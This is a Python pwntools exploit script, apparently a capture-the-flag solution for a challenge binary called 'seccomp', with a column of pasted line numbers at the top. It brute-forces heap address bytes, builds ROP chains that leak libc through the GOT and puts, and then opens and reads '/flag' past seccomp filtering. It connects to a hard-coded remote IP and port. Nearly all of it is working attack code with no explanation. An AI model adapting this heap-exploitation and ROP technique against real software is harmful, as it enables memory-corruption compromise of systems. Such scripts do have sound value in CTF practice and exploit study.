1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
| #!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("seccomp")
lib = 0
sh = 0
def pwn(ip,port,debug):
global lib
global sh
if(debug == 1):
sh = process("./seccomp")
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
sh = remote(ip,port)
lib = ELF("libc-2.23.so")
def create(idx,code):
sh.sendlineafter("delete","1")
sh.sendlineafter("index",str(idx))
sh.sendafter("code",code)
def think(idx,size,code):
sh.sendlineafter("delete","2")
sh.sendlineafter("index",str(idx))
sh.sendlineafter("size",str(size))
sh.sendafter("code\n",code)
def free(idx):
sh.sendlineafter("delete","3")
sh.sendlineafter("index",str(idx))
pop_rdi_ret = elf.search(asm("pop rdi\nret")).next()
pop_rsi_r15_ret = elf.search(asm("pop rsi\npop r15\nret")).next()
create(0,'\x10' * 0x20)
create(1,'\x11' * 0x20)
create(2,'\x12' * 0x20)
free(2)
free(1)
free(0)
create(0,'\x10')
heap_base = 0x10
for i in range(0,255):
think(0,2,'\x10' + chr(i))
data = sh.recv(1)
if data == 'n':
continue
else:
heap_base += (i << 8)
break
for i in range(0,255):
print i
think(0,3,chr(heap_base % 0x100) + chr((heap_base >> 8)%0x100) + chr(i))
data = sh.recv(1)
if data == 'n':
continue
else:
heap_base += (i << 16)
break
for i in range(0,255):
print i
think(0,4,chr(heap_base % 0x100) + chr((heap_base >> 8)%0x100) + chr((heap_base >> 16) % 0x100)+chr(i))
data = sh.recv(1)
if data == 'n':
continue
else:
heap_base += (i << 24)
break
pop3_ret = 0x0000000000400c6f
ret = 0x00000000004006b1
pop2_ret = 0x0000000000400c71
pop2_fake_ret = 0x0000000000400c70
mov_read_call = 0x0000000000400B18
free(0)
payload = '%s\n'
create(0,payload)
create(1,payload)
create(2,payload)
create(3,payload)
create(4,payload)
create(5,payload)
create(6,payload)
payload = p64(pop_rdi_ret)
payload += p64(elf.got['__libc_start_main'])
payload += p64(elf.plt['puts'])
payload += p64(pop2_ret)
create(7,payload)
payload = p64(pop2_ret)
payload += p64(heap_base + 0x180)
payload += p64(0)
payload += p64(mov_read_call)
create(8,payload)
payload = p64(pop2_ret)
payload += p64(heap_base + 0x180)
payload += p64(0)
payload += p64(mov_read_call)
create(9,payload)
heap_base = heap_base - 0x10
payload = 'a' * 0x10
payload += p64(heap_base + 0x180 + 8 - 0x30)
sh.sendafter("delete",payload)
sh.sendlineafter('delete',"4")
__libc_start_main = u64(sh.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
libc = __libc_start_main - lib.symbols['__libc_start_main']
system = libc +lib.symbols['system']
binsh = libc +lib.search("/bin/sh\x00").next()
__free_hook = libc +lib.symbols['__free_hook']
__malloc_hook = libc +lib.symbols['__malloc_hook']
gets = libc + lib.symbols['gets']
pop_rdx_ret = libc + lib.search(asm('pop rdx\nret')).next()
payload = 0x18 * "a"
payload += p64(pop_rdi_ret)
payload += p64(0)
payload += p64(pop2_ret)
payload += p64(elf.bss()) + p64(0)
payload += p64(pop_rdx_ret)
payload += p64(0x1000)
payload += p64(elf.plt['read'])
payload += p64(pop_rdi_ret)
payload += p64(elf.bss())
payload += p64(pop2_ret)
payload += p64(0) + p64(0)
payload += p64(pop_rdx_ret)
payload += p64(0)
payload += p64(libc + lib.symbols['open'])
payload += p64(pop_rdi_ret)
payload += p64(3)
payload += p64(pop2_ret)
payload += p64(elf.bss() + 0x400) + p64(0)
payload += p64(pop_rdx_ret)
payload += p64(0x30)
payload += p64(elf.plt['read'])
payload += p64(pop_rdi_ret)
payload += p64(elf.bss() + 0x400)
payload += p64(elf.plt['puts'])
sh.sendline(payload)
sleep(1)
sh.sendline("/flag\x00")
sh.interactive()
if __name__ == "__main__":
pwn("183.129.189.60",10027,0)
|
